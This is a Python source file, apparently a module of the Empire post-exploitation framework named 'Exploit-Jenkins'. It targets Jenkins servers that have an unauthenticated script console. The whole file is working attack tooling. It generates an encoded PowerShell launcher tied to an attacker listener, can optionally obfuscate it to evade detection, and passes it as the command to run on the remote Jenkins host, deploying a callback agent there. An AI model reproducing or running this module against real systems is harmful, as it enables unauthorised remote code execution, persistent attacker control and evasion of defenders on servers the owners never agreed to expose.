Files

127 lines
4.5 KiB
Python

import base64
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Exploit-Jenkins',
'Author': ['@luxcupitor'],
'Description': ("Exploit unauthenticated Jenkins Script consoles."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'Deploys an Empire agent to a windows Jenkins server with unauthenticated access to script console.'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'Rhost' : {
'Description' : 'Specify the remote jenkins server to exploit.',
'Required' : True,
'Value' : ''
},
'Port' : {
'Description' : 'Specify the port to use.',
'Required' : True,
'Value' : '8080'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
#Cmd = launcher
print helpers.color("Agent Launcher code: "+ launcher)
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-Jenkins.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = "\nExploit-Jenkins"
scriptEnd += " -Rhost "+str(self.options['Rhost']['Value'])
scriptEnd += " -Port "+str(self.options['Port']['Value'])
scriptEnd += " -Cmd \"" + launcher + "\""
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script